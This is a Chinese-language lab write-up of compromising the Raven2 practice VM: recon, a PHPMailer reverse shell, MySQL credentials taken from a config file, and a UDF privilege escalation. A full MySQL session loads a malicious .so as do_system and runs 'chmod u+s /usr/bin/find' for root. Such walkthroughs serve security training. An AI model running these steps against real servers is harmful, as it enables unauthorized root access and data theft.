MySQL 数据库 UDF 提权

免责声明

本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动,包括但不限于未经授权访问计算机系统、网络或数据。

作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何责任。包括但不限于因使用本文所述技术而可能导致的法律诉讼、财产损失、隐私泄露或其他任何形式的责任。

在进行任何渗透测试或安全研究之前,请确保您已获得所有必要的授权,并遵守适用的法律和道德准则。未经授权的安全测试可能违反法律,并可能导致严重的法律后果。

本文中的内容仅供参考,不应被视为专业建议。在进行任何安全相关活动之前,建议咨询具有相应资质的专业人士。

作者保留对本博客文章的所有权利,并有权在未经通知的情况下进行修改或删除。

0x01 环境简介与环境搭建

0x01-1 机器简介

序号

服务器

角色

操作系统

处理器架构

IPv4地址

1

Kali Linux

渗透服务器

Linux

x64

192.168.162.11

2

Raven2

?

?

?

?

0x01-2 行动目标

        1 => 黑盒测试

        2 => 得到机器中的 4 个 flag

        3 => 使用 UDF 进行提权

0x02 探索发现阶段

0x02-1 主机发现

0x02-2 端口扫描

0x02-3 服务探测

根据服务探测结果,可知该服务器对外开放了一个 HTTP 服务端口,尝试访问服务器 Web 服务

根据浏览器插件 Wappalyzer 可以得出,该 Web 服务器是由 WordPress 内容管理系统搭建的;服务器后端所使用的编程语言为 PHP,版本为 5.5.38;操作系统为 Linux 的发行版 Debian;Web 服务器为 Apache。页面中有几个导航栏,尝试访问收集更多的信息

发现该页面存在一个类似于留言板的功能,猜测可能会存在 XSS 注入漏洞

0x03 入侵和感染阶段

0x03-1 对 Web 服务进行目录扫描

出现了任意文件读取的情况,属于信息泄露

得到 flag1

网站还使用了 PHPMailer 组件

版本应该为 5.2.16

0x03-2 查询有关 PHPMailer 组件的历史漏洞

0x03-2.1 使用 MSF 进行查询

0x03-2.2 使用 Google 进行查询

0x03-3 配置脚本信息

0x03-3.1 将脚本拷贝一份进行修改

0x03-3.2 修改脚本信息

0x03-3.3 执行脚本

0x03-4 监听端口获取反弹 shell

0x03-4.1 监听 4444 端口

0x03-4.2 访问 re.php 文件

0x03-4.3 查看当前权限以及网络信息

发现当前服务器只有一张网卡,不存在内网环境,只需要将当前服务器权限提升至 root 权限,查找 flag 即可

0x03-4.4 查看网站根目录

查看目录下配置文件是否存在

查看配置文件内容

0x04 攻击和利用阶段

0x04-1 尝试登录数据库

进入数据库后需要收集一些数据库信息,只有掌握了足够多的信息,才能使渗透过程更加顺利

select database();                                     # 查询当前数据库

select version();                                      # 获取数据库版本

select user();                                         # 获取数据库用户

select @@basedir;                                      # 获取数据库安装目录

select @@version_compile_os;                           # 数据库所在的操作系统版本

select user,host from mysql.user where user='root'     # 查看数据库是否开启了远程连接

show variables like '%plugin%';                        # 查看 plugin 路径

show global variables like 'secure%';                  # secure_file_priv 值是否为空

0x04-1.1 查询是否开启 MySQL 远程连接

MySQL 数据库不允许远程连接,因此不能使用 MSF 进行提权

0x04-1.2 查询 MySQL 版本

0x04-1.3 查询 plugin 路径

0x04-1.4 查询 secure_file_priv 值是否为空

secure_file_priv 值为空,说明可以导出表中的数据

0x04-2 查看 MySQL 数据库进程

MySQL 数据库运行权限为 root

0x04-3 使用脚本配合 UDF 提权

0x04-3.1 使用 MSF 中 UDF 提权脚本

0x04-3.1.1 查询脚本

0x04-3.1.2 拷贝脚本

查看该文件有使用说明

0x04-3.2 编译 c 文件

0x04-3.3 将 udfup.so 文件保存至目标服务器

0x04-3.3.1 在 Kali 上开启 HTTP 服务

0x04-3.3.2 下载 Kali 上的 udfup.so 文件

为了避免行动动静太大,将 udfup.so 文件移动至目标服务器的 /tmp 目录下

0x04-3.4 进行 UDF 提权

		www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecuritymysql -uroot -pR@v3nSecurityWelcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 38Server version: 5.5.60-0+deb8u1 (Debian)Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> use mysql;use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create table udfup(line blob);create table udfup(line blob);Query OK, 0 rows affected (0.01 sec)mysql> insert into udfup values(load_file('/tmp/udfup.so'));insert into udfup values(load_file('/tmp/udfup.so'));Query OK, 1 row affected (0.01 sec)mysql> select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';Query OK, 1 row affected (0.01 sec)mysql> create function do_system returns integer soname 'udfup.so';create function do_system returns integer soname 'udfup.so';Query OK, 0 rows affected (0.00 sec)mysql> select * from mysql.func;select * from mysql.func;+-----------+-----+----------+----------+| name      | ret | dl       | type     |+-----------+-----+----------+----------+| do_system |   2 | udfup.so | function |+-----------+-----+----------+----------+1 row in set (0.00 sec)mysql> select do_system('chmod u+s /usr/bin/find');select do_system('chmod u+s /usr/bin/find');+--------------------------------------+| do_system('chmod u+s /usr/bin/find') |+--------------------------------------+|                                    0 |+--------------------------------------+1 row in set (0.00 sec)mysql>

SQL 语句解释

create table udfup(line blob);

作用:创建一张名为 udfup 的表,其中包含一个字段 line,类型为 BLOB(二进制大对象)

目的:用于临时存储动态链接库(.so 文件)的内容

insert into udfup values(load_file('/tmp/udfup.so'));

作用:通过 load_file 函数将 /tmp/udfup.so 文件的内容读取并插入到 udfup 表中

目的:将目标系统中的动态链接库文件加载到数据库中,为后续操作做准备

select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';

作用:将 udfup 表中的内容导出到文件 /usr/lib/mysql/plugin/udfup.so

目的:在 MySQL 插件目录中放置恶意的 UDF 动态链接库文件(.so 文件)。此文件后续会被 MySQL 加载,执行任意系统命令

create function do_system returns integer soname 'udfup.so';

作用:创建一个名为 do_system 的 UDF 函数,该函数通过加载 udfup.so 动态链接库实现

目的:定义一个可以在 SQL 中调用的函数,用于执行任意系统命令

select * from mysql.func;

作用:查看 MySQL 的函数表 mysql.func,列出当前所有定义的 UDF 函数

目的:确认恶意函数 do_system 是否成功创建

select do_system('chmod u+s /usr/bin/find');

作用:调用 do_system 函数,在目标系统上执行命令 chmod u+s /usr/bin/find

目的:将 find 命令设置为 SUID 位(即具有 root 权限),后续攻击者可以利用 find 命令以 root 权限执行任意命令,进一步提权

接下来就可以使用 find 命令执行系统命令

进入 root 权限的 sh 环境并查找 flag 文件

至此,目标服务器上的 4 个 flag 已经全部获取

        flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

        flag2{6a8ed560f0b5358ecf844108048eb337}

        flag3{a0f568aa9de277887f37730d71520d9b}

        flag4{df2bc5e951d91581467bb9a2a8ff4425}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/67613.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据分享】1929-2024年全球站点的逐年平均气温数据(Shp\Excel\无需转发)

气象数据是在各项研究中都经常使用的数据,气象指标包括气温、风速、降水、湿度等指标,其中又以气温指标最为常用!说到气温数据,最详细的气温数据是具体到气象监测站点的气温数据!本次我们为大家带来的就是具体到气象监…

【Linux 源码】内核态到用户态

文章目录 1. 由来2. 流程图3. 中断3.1 概念3.2 8259A芯片3.4 中断时的栈处理3.4.1 相同特权级3.4.2 不同特权级 3.5 中断流程3.6 定位中断程序3.7 中断流程步骤总结 4. 源码4.1 move_to_user_mode4.2 0号进程4.3 TSS和LDT在GDT表排布4.4 ldt中的0x17栈段 5. 总结 1. 由来 ​ 首…

雷电9最新版安装Magisk+LSPosd(新手速通)

大家好啊!我是NiJiMingCheng 我的博客:NiJiMingCheng 在安卓系统的定制与拓展过程中,获取 ROOT 权限以及安装各类框架是进阶玩家常用的操作,这可以帮助我们实现更多系统层面的个性化功能。今天,我将为大家详细介绍如何…

《Linux服务与安全管理》| 邮件服务器安装和配置

《Linux服务与安全管理》| 邮件服务器安装和配置 目录 《Linux服务与安全管理》| 邮件服务器安装和配置 1.在Server01上安装dns、postfix、dovecot和telnet,并启动 2.在Server01上配置DNS服务器,设置MX资源记录 3.在server1上…

计算机毕业设计Python电商品推荐系统 商品比价系统 电商比价系统 商品可视化 商品爬虫 机器学习 深度学习 京东爬虫 国美爬虫 淘宝爬虫 大数据

温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…

【银河麒麟高级服务器操作系统】业务访问慢网卡丢包现象分析及处理过程

了解更多银河麒麟操作系统全新产品,请点击访问 麒麟软件产品专区:product.kylinos.cn 开发者专区:developer.kylinos.cn 文档中心:document.kylinos.cn 交流论坛:forum.kylinos.cn 服务器环境以及配置 【内核版本…

鸿蒙开发中的骨架图:提升用户体验的关键一环

大家好,我是小 z,今天要给大家分享一个提升用户体验的超实用技巧 —— 骨架图🎯 文章目录 一、什么是骨架图二、骨架图的作用三、鸿蒙开发中实现骨架图的方法1. 利用 opacity 奠定视觉基础2. animateTo 驱动动态变化3. 二者协同触发与展示 四…

leetcode刷题记录(七十三)——543. 二叉树的直径

(一)问题描述 543. 二叉树的直径 - 力扣(LeetCode)543. 二叉树的直径 - 给你一棵二叉树的根节点,返回该树的 直径 。二叉树的 直径 是指树中任意两个节点之间最长路径的 长度 。这条路径可能经过也可能不经过根节点 r…

【esp32小程序】小程序篇02——连接git

一、创建仓库 进入gitee官网,登录(如果没有gitee账号的就自行注册一下)。 点击号-->新建仓库 填写好必填信息,然后点击“创建” 二、微信开发者工具配置 在微信开发者工具打开我们的项目。按下面的步骤依次点击 三、验证 点…

Linux的基本指令(上) -- 0基础入门

目录 知识点引入 基本指令 ls指令 pwd 命令 cd 指令 touch 指令 stat指令 mkdir 指令 tree指令 rmdir 指令 rm 命令 man 指令 which 指令 alias 指令 echo指令 输出重定向: > 追加重定向:>> cp 指令 知识点引入 1. Linux中路径用 / 作为路径分隔…

Java测试开发平台搭建(九)前端

1. 搭建前端vue环境 Vue3 安装 | 菜鸟教程 2. 创建项目 1.进入ui vue ui 2. create项目 3. 成功之后添加插件: cli-plugin-router vue-cli-plugin-vuetify 4. 添加依赖 axios 5. 点击任务开始运行 如果报错: 修改vue.config.jsconst { defineConfig }…

基于SpringBoot+Vue的智慧动物园管理系统的设计与实现

获取源码:基于SpringBootVue智慧动物园系统设计与实现: 后台和用户前台。后台包括首页、员工管理、考勤管理、部门管理、角色管理、审核管理、动物管理、演出管理、园区管理、园区设施维修、饲养管理、行为观察管理、疫苗管理、看护管理、个人中心、票务管理、收入管…

55.【5】BUUCTF WEB NCTF2019 sqli

进入靶场 输入admin 123 过滤的这么严格??? 过滤很严格,此时要么爆破,要么扫描 直接扫描,得到robots.txt 访问后又得到hint.txt 继续访问 图片内容如下 $black_list "/limit|by|substr|mid|,|admi…

【前端】用OSS增强Hexo的搜索功能

文章目录 前言配置 _config.fluid.yml云端实时更新 local-search.xml解决 OSS.Bucket 的跨域问题 前言 原文地址:https://blog.dwj601.cn/FrontEnd/Hexo/hexo-enhance-local-search-with-oss/ 考虑到某著名云服务商提供的云服务器在两年的 99 计划后续费价格高达四…

Hive SQL必刷练习题:留存率问题

首次登录算作当天新增,第二天也登录了算作一日留存。可以理解为,在10月1号登陆了。在10月2号也登陆了,那这个人就可以算是在1号留存 今日留存率 (今日登录且明天也登录的用户数) / 今日登录的总用户数 * 100% 解决思…

Ubuntu 24.04 LTS 系统语言英文改中文

Ubuntu 24.04 LTS 修改软件源 Ubuntu 更改软件源 修改语言 无需输入命令,为Ubuntu 24.04系统添加中文智能拼音输入法 在 setting 的 system 中按下图操作 点击“Apply Changes”。需要管理员密码,安装完成后,退出登录,重新登…

【从零开始入门unity游戏开发之——C#篇46】C#补充知识点——命名参数和可选参数

考虑到每个人基础可能不一样,且并不是所有人都有同时做2D、3D开发的需求,所以我把 【零基础入门unity游戏开发】 分为成了C#篇、unity通用篇、unity3D篇、unity2D篇。 【C#篇】:主要讲解C#的基础语法,包括变量、数据类型、运算符、…

大模型WebUI:Gradio全解11——Chatbot:融合大模型的多模态聊天机器人(6)

大模型WebUI:Gradio全解11——Chatbot:融合大模型的多模态聊天机器人(6) 前言本篇摘要11. Chatbot:融合大模型的多模态聊天机器人11.6 为LLM Agent构建UI11.6.1 使用transformers.agents11.6.2 使用Langchain agents11…

springboot基于前后端分离的摄影知识网站

Spring Boot 基于前后端分离的摄影知识网站 一、项目概述 Spring Boot 基于前后端分离的摄影知识网站,是一个专为摄影爱好者、专业摄影师打造的知识共享与交流平台。借助 Spring Boot 强大的后端架构搭建能力,结合前端独立开发的灵活性,整合…

VD:生成a2l文件

目录 前言Simulink合并地址 ASAP2 editor 前言 我之前的方法都是通过Simulink模型生成代码的过程中顺便就把a2l文件生成出来了,这时的a2l文件还没有地址,所以紧接着会去通过elf文件更新地址,一直以为这是固定的流程和方法,今天无…